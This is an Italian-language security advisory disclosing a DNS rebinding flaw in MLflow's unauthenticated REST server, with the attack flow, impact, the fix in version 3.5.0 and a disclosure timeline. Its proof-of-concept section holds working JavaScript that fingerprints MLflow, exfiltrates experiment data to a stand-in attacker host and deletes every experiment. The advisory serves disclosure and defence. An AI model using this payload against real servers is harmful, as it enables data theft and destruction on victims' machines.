Esfiltrazione e distruzione di dati in MLflow per mancata validazione dell'Origin (DNS rebinding)
Autore: Evan Harris
Rischio: Alto (CVSS 8.1, CVE-2025-14279)
Componente interessato: server REST di MLflow (mlflow/mlflow), versioni fino alla 3.4.0 inclusa
In sintesi
Il server REST di MLflow non validava l’intestazione Origin né l’intestazione Host nelle richieste in arrivo, restando così esposto al DNS rebinding. Una vittima che esegue mlflow server in locale e visita poi un sito web malevolo può ritrovarsi il browser trasformato in un proxy che raggiunge l’interfaccia di loopback, aggirando la Same-Origin Policy. In assenza di autenticazione sull’API REST, l’attaccante ottiene pieno accesso in lettura e scrittura: può enumerare gli esperimenti, esfiltrare i dati verso un host esterno ed eliminare del tutto gli esperimenti. Il problema ha ricevuto l’identificativo CVE-2025-14279 (CVSS 8.1, Alto) ed è stato corretto in MLflow 3.5.0, che aggiunge la validazione dell’intestazione Host e il blocco delle richieste cross-origin. Gli utenti dovrebbero aggiornare alla versione 3.5.0 o successiva.
Altri strumenti trattati su questo sito presentano lo stesso problema: Vulnerabilità di DNS rebinding nel trasporto SSE del Vet MCP Server e Il Neo4j MCP Cypher Server è vulnerabile alla compromissione del database tramite DNS rebinding. Un problema distinto in MLflow, divulgato lo stesso giorno, è trattato in Esecuzione di codice remoto tramite deserializzazione degli scorer GenAI in MLflow.
Contesto
Il tracking server di MLflow espone un’API REST (di norma su http://localhost:5000) che l’interfaccia web e le librerie client utilizzano per creare, cercare, aggiornare ed eliminare esperimenti ed esecuzioni. Per impostazione predefinita il server funziona senza autenticazione, nel presupposto che il binding su localhost lo mantenga privato.
Quel presupposto crolla di fronte al DNS rebinding. La Same-Origin Policy del browser dovrebbe impedire a una pagina servita da attacker.com di leggere le risposte di localhost:5000, ma il rebinding la elude cambiando ciò a cui un hostname viene risolto dopo che la pagina è stata caricata. Poiché il server di MLflow accettava le richieste senza verificarne la provenienza, qualsiasi sito web visitato dalla vittima poteva pilotare l’API locale.
Panoramica
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Scenario di attacco
- La vittima clona MLflow ed esegue il server in locale con la configurazione predefinita (
mlflow server), generando lungo il percorso alcuni esperimenti. - L’attaccante allestisce un laboratorio di DNS rebinding, per esempio Singularity of Origin di NCC Group, e inserisce il payload riportato di seguito nella directory dei payload del framework.
- La vittima visita il sito web dell’attaccante e rimane sulla pagina abbastanza a lungo (meno di un minuto) perché il rebinding avvenga.
- Il server DNS dell’attaccante risolve dapprima l’hostname sul proprio IP affinché il payload venga caricato, quindi risponde alle query successive con
127.0.0.1. Il browser riutilizza il nome memorizzato in cache, così le chiamatefetchdella pagina si spostano silenziosamente versolocalhost:5000mantenendo l’origine originale. - Poiché il server di MLflow non esegue alcuna validazione di Origin o Host, le richieste vanno a buon fine. L’attaccante enumera gli esperimenti, invia i dati a
attacker.comed elimina gli esperimenti.
Proof of Concept
Il payload riportato di seguito si registra presso un framework di DNS rebinding. Rileva l’impronta del bersaglio come server MLflow, enumera gli esperimenti tramite l’API REST non autenticata, esfiltra i risultati verso un host controllato dall’attaccante e infine elimina ogni esperimento. Il proof of concept originale è qui condensato ai suoi passaggi funzionali.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Impatto
- Esfiltrazione di dati: i metadati degli esperimenti vengono letti tramite
experiments/searche inviati a un host controllato dall’attaccante. - Distruzione di dati: gli esperimenti vengono eliminati tramite
experiments/delete. - Manipolazione di dati: lo stesso accesso in scrittura non autenticato consente operazioni di aggiornamento sugli esperimenti.
- Nessuna credenziale richiesta: l’attacco funziona contro un’installazione predefinita di
mlflow servere richiede soltanto che la vittima visiti una pagina malevola mentre il server è in esecuzione.
Risposta di MLflow
Dopo che abbiamo segnalato il problema attraverso il processo di divulgazione coordinata di MLflow, i manutentori lo hanno affrontato nella pull request #17910.
La correzione introduce uno strato di middleware di sicurezza per il server che:
- Valida l’intestazione
Hostrispetto a un elenco di elementi consentiti (localhost e intervalli di IP privati per impostazione predefinita) per bloccare il DNS rebinding. - Blocca le richieste cross-origin che modificano lo stato (POST, PUT, DELETE, PATCH) provenienti da origini diverse da localhost.
- Aggiunge intestazioni di risposta difensive (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
Per le installazioni che hanno legittimamente bisogno di un accesso più ampio è disponibile nuova configurazione, tra cui --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) e --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Le protezioni sono state introdotte in MLflow 3.5.0 e al problema è stato successivamente assegnato CVE-2025-14279 (CVSS 8.1, Alto; CWE-346, Origin Validation Error).
Raccomandazioni
Per gli utenti finali
- Aggiornare a MLflow 3.5.0 o successiva.
- Mantenere le impostazioni predefinite di
--allowed-hostse--cors-allowed-originsa meno di non avere un motivo specifico per ampliarle, e non disattivare mai il middleware di sicurezza su un server esposto. - Non collegare il server di MLflow a una rete pubblica o non attendibile, e anteporgli un’autenticazione o un reverse proxy se deve essere raggiungibile oltre localhost.
- Considerare un server collegato in locale come raggiungibile dal browser: chiudere o isolare le istanze locali di MLflow quando si naviga su siti non attendibili.
Cronologia
| Data | Evento |
|---|---|
| 22 settembre 2025 | Vulnerabilità segnalata ai manutentori di MLflow tramite divulgazione coordinata (issue #17877) |
| 6 ottobre 2025 | MLflow integra la correzione (PR #17910), rilasciata nella v3.5.0 |
| 12 gennaio 2026 | CVE-2025-14279 pubblicata (CVSS 8.1, Alto) |
| 8 giugno 2026 | Divulgazione pubblica |